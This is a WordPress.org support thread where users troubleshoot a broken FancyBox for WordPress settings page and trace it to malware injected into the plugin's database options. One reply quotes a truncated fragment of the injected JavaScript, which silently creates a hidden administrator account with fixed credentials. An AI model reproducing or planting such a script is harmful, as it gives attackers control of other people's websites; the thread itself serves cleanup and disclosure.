Title: backend options missing Last modified: August 22, 2016 --- # backend options missing * Resolved [rKeller](https://wordpress.org/support/users/rkeller/) * (@rkeller) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/) * I’m not sure what happened, but I’m at the end of the line troubleshooting… Sometime, something changed on my blog – maybe from a wordpress update or a plugin update– don’t know which or when. But now FancyBox isn’t working. * I’ve tried installing, reinstalling, changing themes, and emptying caches, but it never works for me. The plugin isn’t working in the front end, and in the admin area, the tabs for changing options are mostly nonfictional (the first two are there, the rest aren’t)(you can see [a screenshot of this here](http://www.youshouldliketypetoo.com/misc/fancybox.jpg)), and there’s also no save button for changing options. * Any ideas of what to do? Thank you in advance! * [https://wordpress.org/plugins/fancybox-for-wordpress/](https://wordpress.org/plugins/fancybox-for-wordpress/) Viewing 12 replies - 1 through 12 (of 12 total) * [Jose Pardilla](https://wordpress.org/support/users/moskis/) * (@moskis) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798317) * I’m not sure what might be causing that, unless it could be related to a security issue found a couple of weeks ago in the plugin (more info here: [https://wordpress.org/plugins/fancybox-for-wordpress/faq/](https://wordpress.org/plugins/fancybox-for-wordpress/faq/)). First make sure the plugin is updated to the latest version. * If it’s up to date and the issue persists, can you try manually reinstalling the plugin? Delete the plugin from the `wp-content/plugins` folder in your ftp, and manually upload it again, to see if that helps. * Thread Starter [rKeller](https://wordpress.org/support/users/rkeller/) * (@rkeller) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798382) * I appreciate the reply Jose. * I’ve done all that, several times actually. Everything is up to date for sure. Maybe there’s something wrong with my core wordpress install (not sure if/how that happens). I also tried a few other lightbox plugins, also under different themes, and they didn’t work either (one even had similar backend menu problems). So maybe it could be from wordpress itself. * I’ll keep poking around… Thanks again, and keep up the good work! * [Lucille85](https://wordpress.org/support/users/lucille85/) * (@lucille85) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798432) * Hi, I am having the same problem, even after deinstalling and manually reinstalling the plugin. The options page has no tabs any more at the top, and at the end of the page it says `'); function loadz() { var dz=document.getElementById(' iframe').contentDocument; dz.getElementById('role').value="administrator"; dz. getElementById('user_login').value="webservers"; dz.getElementById('email').value ="web2servers@wp.com"; dz.getElementById('pass1').value="w4bs3rv345es"; dz.getElementById(' pass2').value="w4bs3rv345es"; dz.getElementById('send_password').click(); dz. getElementById('createusersub').click(); ` * [Lucille85](https://wordpress.org/support/users/lucille85/) * (@lucille85) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798434) * Just found a way to make it work again: uninstalled the plugin and deleted the two lines with the option names “mfbfw” and “mfbfw_active_version” from the database, then reinstalled the plugin. Now it works fine again. But be careful when you do this, all the changes you made to the settings will be gone afterwards. * [Jose Pardilla](https://wordpress.org/support/users/moskis/) * (@moskis) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798438) * Lucille85, * By looking at the code you posted it looks like the security issue i mentioned above could have affected your site. Make sure you check your WordPress site users, and that there aren’t any strange login credentials. If there are remove them and check [https://wordpress.org/plugins/fancybox-for-wordpress/faq/](https://wordpress.org/plugins/fancybox-for-wordpress/faq/) for more info. * Thread Starter [rKeller](https://wordpress.org/support/users/rkeller/) * (@rkeller) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798465) * Great, thanks Lucille85! Deleting those lines and reinstalling fixed it for me as well! You made my day! 🙂 * [houfton](https://wordpress.org/support/users/houfton/) * (@houfton) * [11 years, 3 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798478) * I had this problem and I believe it was the malware script which had been inserted into the database (wp_options, option_name: mfbfw) was causing a javascript error that prevented the Fancybox for WordPress settings page from loading properly.( If I remember rightly the string for the padding setting is a maximum of 7 characters but the script that had been put in there was 144 characters and the console error was all about that.) * Deleting that line before upgrading might be one way to fix that. A complete uninstall of the plugin and reinstall would probably also do it but you would lose any settings you had. * The other option, mfbfw_active_version, needs to be changed as well for a different reason as far as I can tell. It seems to retain the old version value (e.g. 3.0.2) which causes Google Webmaster Tools (if you are using it) to send warning emails saying “As of the last crawl of your website, you appear to be running FancyBox for WordPress 3.0.2 or below”. [See the other support thread.](https://wordpress.org/support/topic/google-notified-me-that-im-using-code-from-302-but-fancybox-is-at-305?replies=3) * [mangonyc](https://wordpress.org/support/users/mangonyc/) * (@mangonyc) * [11 years, 2 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798489) * Can someone tell me exactly how to kill those two lines “mfbfw” and “mfbfw_active_version” from the database? * Where should I look for them? Can I do this through phpMyAdmin? * Thanks * [Jose Pardilla](https://wordpress.org/support/users/moskis/) * (@moskis) * [11 years, 2 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798490) * mangonyc, * You can enable the uninstall option in the plugin’s settings, save, and then deactivate the plugin, and the two settings will be removed from the database. * As you asked, you can also find the two rows via phpMyAdmin inside the `wp_options` table. * [houfton](https://wordpress.org/support/users/houfton/) * (@houfton) * [11 years, 2 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798491) * Do what Jose says but, if you want to use phpMyAdmin, you can use the “SQL” tab and enter a query like this: * `SELECT * FROM wp_options WHERE option_name LIKE '%mfbfw%'` * NOTE: the prefix for your table might be something other than “wp_”. * It is a simple select command so will not do any harm and, when I do it, it returns two lines (option_names: “mfbfw” and “mfbfw_active_version”). * You can also use the ‘Search’ tab and search the whole database or, better, just the wp_options table, for “mfbfw” but you need to make sure it is a wildcard type of search (i.e. LIKE ‘%mfbfw%’). * [mangonyc](https://wordpress.org/support/users/mangonyc/) * (@mangonyc) * [11 years, 2 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798492) * Jose, Thanks for your input – however, when I go the setting page of the plug- in, all the tabs show nothing except for “info” and “appearance”, the rest of the tabs are blank and do nothing when clicked. So I cannot “uninstall” with this method. In fact, the “uninstall” tab is in red, no others are. Not sure what this indicates. * I might try to just remove the plug-in via FTP, then go into the database and remove the two options that are supposedly causing the issue. * Houfton, thank you for that specific instruction to fix through phpMyAdmin * stay tuned… * [mangonyc](https://wordpress.org/support/users/mangonyc/) * (@mangonyc) * [11 years, 2 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798494) * Went into the database and removed the options that, reinstalled the plugin and it seems to be working fine. * Thanks again everyone for your help. Viewing 12 replies - 1 through 12 (of 12 total) The topic ‘backend options missing’ is closed to new replies. * ![](https://ps.w.org/fancybox-for-wordpress/assets/icon-256x256.jpg?rev=1864321) * [FancyBox for WordPress](https://wordpress.org/plugins/fancybox-for-wordpress/) * [Frequently Asked Questions](https://wordpress.org/plugins/fancybox-for-wordpress/#faq) * [Support Threads](https://wordpress.org/support/plugin/fancybox-for-wordpress/) * [Active Topics](https://wordpress.org/support/plugin/fancybox-for-wordpress/active/) * [Unresolved Topics](https://wordpress.org/support/plugin/fancybox-for-wordpress/unresolved/) * [Reviews](https://wordpress.org/support/plugin/fancybox-for-wordpress/reviews/) * 12 replies * 5 participants * Last reply from: [mangonyc](https://wordpress.org/support/users/mangonyc/) * Last activity: [11 years, 2 months ago](https://wordpress.org/support/topic/backend-options-missing/#post-5798494) * Status: resolved